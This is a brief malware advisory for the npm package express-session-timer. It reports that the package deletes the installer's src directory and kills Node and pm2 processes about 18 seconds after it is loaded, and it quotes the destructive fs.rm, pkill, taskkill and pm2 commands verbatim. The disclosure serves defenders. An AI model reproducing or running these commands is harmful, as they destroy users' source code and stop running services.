MAL-2026-16065 Malicious code in express-session-timer (npm)

[email protected] schedules an unconditional destructive routine at module load time. Approximately 18 seconds after require('express-session-timer'), the package recursively removes <cwd>/src via fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true}) and terminates Node processes with pkill -f "node.*${process.cwd()}" on Unix, taskkill /IM node.exe /F on Windows, and npx pm2 delete all. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins express-timer: ^0.0.1-security, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.